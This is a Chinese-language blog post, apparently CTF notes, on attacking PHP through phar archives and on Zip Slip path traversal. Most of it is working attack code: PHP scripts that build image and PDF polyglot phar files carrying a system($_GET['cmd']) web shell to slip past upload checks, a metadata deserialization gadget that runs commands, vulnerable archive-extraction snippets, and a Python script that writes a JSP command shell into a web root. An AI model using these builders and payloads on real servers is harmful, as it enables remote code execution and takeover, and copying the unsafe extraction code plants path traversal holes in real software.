本文最后更新于 2026年8月23日 晚上
Phar反序列化 首先先了解一下一个phar文件的结构
1 2 3 4 Stub manifest contents signature
phar是php内置的一种打包格式(php5.3+),类似于Java的JAR或Python的wheel。它可以将多个PHP文件、资源打包成单个.phar文件,并支持直接执行(通过stub引导)。
Stub 必须以
1 <?php __HALT_COMPILER ();?>
结尾,前面可以是任意php代码(甚至可以伪装成图片头,如GIF89a),它能实现直接的rce,而且在php 8+环境下依然有效(不像metadata的自动反序列化已被大幅限制)
所以可以直接在__HALT_COMPILER()之前插入任意恶意代码
通常情况下,Stub一般执行include(‘phar://path/to/file.phar’)或require(‘phar://…’)包含
但是普通的file_get_contents(‘phar://…’)不会执行Stub,只会读取内部文件内容。而include/require才会触发Stub执行
一般场景 文件上传+ LFI+phar://+恶意Stub 先确保传一个伪装成图片的 PHAR 文件(Polyglot 文件)且应用存在文件包含漏洞(或路径可控的 include/require)
随后构造本地包含payload
1 2 include ('phar:///var/www/uploads/evil.jpg' );
Polyglot文件构造 上传一个同时是合法pdf且包含phar的文件
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php @unlink ("evil.jpg" );$phar = new Phar ("evil.jpg" ); $phar ->startBuffering ();$stub = "GIF89a" . "<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>" ;$phar ->setStub ($stub );$phar ->addFromString ("test.txt" , "Hello from PHAR" );$phar ->stopBuffering ();echo "[+] evil.jpg (GIF + malicious PHAR) created!\n" ;echo "[+] Stub starts with GIF89a header.\n" ;
变种 1: GIF89a + PHAR(最推荐、最稳定) 这是目前最常用、成功率最高的方案。几乎所有图片上传检测都能过(包括很多 getimagesize() 检查)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php @unlink ("shell.gif" );$phar = new Phar ("shell.gif" );$phar ->startBuffering ();$stub = 'GIF89a<?php system($_GET["cmd"]); __HALT_COMPILER(); ?>' ;$phar ->setStub ($stub );$phar ->addFromString ("index.php" , "<?php phpinfo(); ?>" ); $phar ->stopBuffering ();echo "[+] shell.gif (GIF89a + PHAR) 生成成功!\n" ;
优点:简单、兼容性极高、Stub 执行可靠。 缺点 :部分极严格的图片解析器可能会报错(但实际上传绕过成功率很高)。
变种 2: JPEG (JFIF) + PHAR(第二常用) 使用标准的 JPEG 文件头 FF D8 FF E0 … JFIF。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php @unlink ("shell.jpg" );$phar = new Phar ("shell.jpg" );$phar ->startBuffering ();$stub = "\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00" . "<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>" ;$phar ->setStub ($stub );$phar ->addFromString ("test.txt" , "data" );$phar ->stopBuffering ();echo "[+] shell.jpg (JPEG + PHAR) 生成成功!\n" ;
变体(更短的 JPEG 头): 1 $stub = "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>" ;
优点 :JPEG 是最常见的上传类型,绕过效果好。 缺点 :部分严格的 EXIF/图片库可能会因为后面数据而报警告,但上传通常能通过。
变种 3: 极简 JPEG SOI + PHAR 只使用最基础的 JPEG 开始标记,适合对文件头检查不严格的环境。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php @unlink ("evil.jpg" );$phar = new Phar ("evil.jpg" );$phar ->startBuffering ();$stub = "\xFF\xD8\xFF<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>" ;$phar ->setStub ($stub );$phar ->addFromString ("config.php" , "test" );$phar ->stopBuffering ();echo "[+] Minimal JPEG PHAR created.\n" ;
适用场景 :目标只检查文件头前几个字节(FF D8 FF)。
变种 4: PDF + PHAR Stub 适合允许 PDF 上传的场景(部分后台管理系统支持)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php @unlink ("shell.pdf" );$phar = new Phar ("shell.pdf" );$phar ->startBuffering ();$stub = "%PDF-1.5\n" . "%<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>\n" . "%%EOF\n" ;$phar ->setStub ($stub );$phar ->addFromString ("exploit.txt" , "data" );$phar ->stopBuffering ();echo "[+] shell.pdf (PDF + PHAR) 生成成功!\n" ;
优点 :很多系统允许 PDF 上传,且对内容检查较松。 缺点 :部分 PDF 阅读器可能会报格式错误(但上传检测通常能过)。
变种 5: Phar::TAR / ZIP 格式转换(强力变种) 默认 PHAR 格式有特定签名(GBMB 结尾),有些上传检测会针对 .phar 魔术字节拦截。
使用 convertToExecutable() 可以转换成 TAR 或 ZIP 格式,绕过很多针对 PHAR 的检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php @unlink ("shell.tar" );$phar = new Phar ("shell.phar" ); $phar ->startBuffering ();$stub = "GIF89a<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>" ;$phar ->setStub ($stub );$phar ->addFromString ("index.php" , "<?php echo 'RCE'; ?>" );$phar ->stopBuffering ();$phar ->convertToExecutable (Phar ::TAR );rename ("shell.phar.tar" , "shell.jpg" ); echo "[+] TAR 格式 Polyglot (shell.jpg) 生成成功!\n" ;echo "[+] 注意:TAR 格式对尾部数据校验较松,更容易做脏数据拼接。\n" ;
优点:
绕过很多针对 .phar 或 PHAR 签名的检测。
TAR 格式在某些脏数据场景下更 robust(CTF 中常用)。
可结合 GIF89a stub 使用。
ZIP版本:把 Phar::TAR 改成 Phar::ZIP 即可。
Manifest Manifest紧跟在Stub之后(__HALT_COMPILER(); 之后),包含整个归档的“目录表”
也就意味着当php通过Phar类或phar://流打开文件时,首先解析的就是Manifest
Phar反序列化的核心就存在与序列化的metadata
当php设置phar全局的时候,通常有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $phar = new Phar ("evil.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ([ 'author' => 'attacker' , 'version' => '1.0' , // 或者放一个恶意对象 ]);$phar ->addFromString ("test.txt" , "hello" );$phar ->stopBuffering ();
常规反序列化攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class Gadget { public $cmd ; function __destruct ( ) { system ($this ->cmd); } }$phar = new Phar ("exploit.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a<?php __HALT_COMPILER(); ?>" );$obj = new Gadget ();$obj ->cmd = "id" ;$phar ->setMetadata ($obj ); $phar ->addFromString ("x.txt" , "1" );$phar ->stopBuffering ();
之后通过phar:// 文件函数触发Manifest解析 →反序列化。
隐式反序列化 phar反序列化的特殊之处在于,完全不需要用户代码调用unserialize(),php内核在解析phar文件时会自动反序列化Manifest中的Metadata
也就是假如我上传/构造一个包含恶意对象的phar文件(通过$phar->setMetadata($evilObject))
目标应用执行类似操作:
1 2 file_exists ($_GET ['file' ]);
php的phar:// 流包装器被触发,尝试打开phar文件。
php内核调用内部函数phar_parse_metadata()解析Manifest。
phar_parse_metadata()发现Metadata长度>0,调用php_var_unserialize()对Metadata进行反序列化。
恶意对象被重建→属性被设置→__wakeup()(如果有)被调用。
当phar解析完成、对象不再被引用时,__destruct() 被触发,执行攻击者预设的恶意操作(命令执行、文件写入等)。
Zip Slip(归档提取时的任意文件写入) 它利用的是归档格式本身的路径解析特性,而不是文件内容或扩展名。上传的是“容器”,容器内部的路径决定写入位置
即我上传一个压缩包,后台解压后会通过解析内部文件名来跨路径放到指定文件夹
可以构造
1 ../../ ../../ ../../ ../../ ../../ etc/passwd
来本地包含
也可以构造
1 ../../ ../../ ../../ ../../ ../../ var /www/ html/shelll.php(或是shell.jsp等)
来进行本地写入文件(具体得看服务器配置)
典例 经典的StackOverFlow
1 2 3 4 5 6 7 Enumeration<? extends ZipEntry > entries = zipFile.getEntries();while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); File destFile = new File (destinationDir, entry.getName()); }
1 2 3 4 5 6 7 8 9 10 11 12 import zipfileimport osdef vulnerable_extract (zip_path, extract_to ): with zipfile.ZipFile(zip_path, 'r' ) as zf: for member in zf.infolist(): target_path = os.path.join(extract_to, member.filename) os.makedirs(os.path.dirname(target_path), exist_ok=True ) with open (target_path, 'wb' ) as f: f.write(zf.read(member))
常见的nodejs组合拳 1 2 3 const AdmZip = require ('adm-zip' );const zip = new AdmZip (uploadedZipBuffer); zip.extractAllTo (targetDir, true );
始终验证最终路径是否严格位于目标目录内,使用规范化(canonical)路径比较
随后是一个经典的payload
1 2 3 4 5 6 7 8 9 10 import zipfiledef create_malicious_zip (payload_content: bytes , malicious_path: str , output_zip: str ): with zipfile.ZipFile(output_zip, 'w' , zipfile.ZIP_DEFLATED) as zf: zi = zipfile.ZipInfo(malicious_path) zf.writestr(zi, payload_content) create_malicious_zip(b'<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' , '../../../../../var/www/html/cmd.jsp' , 'exploit.zip' )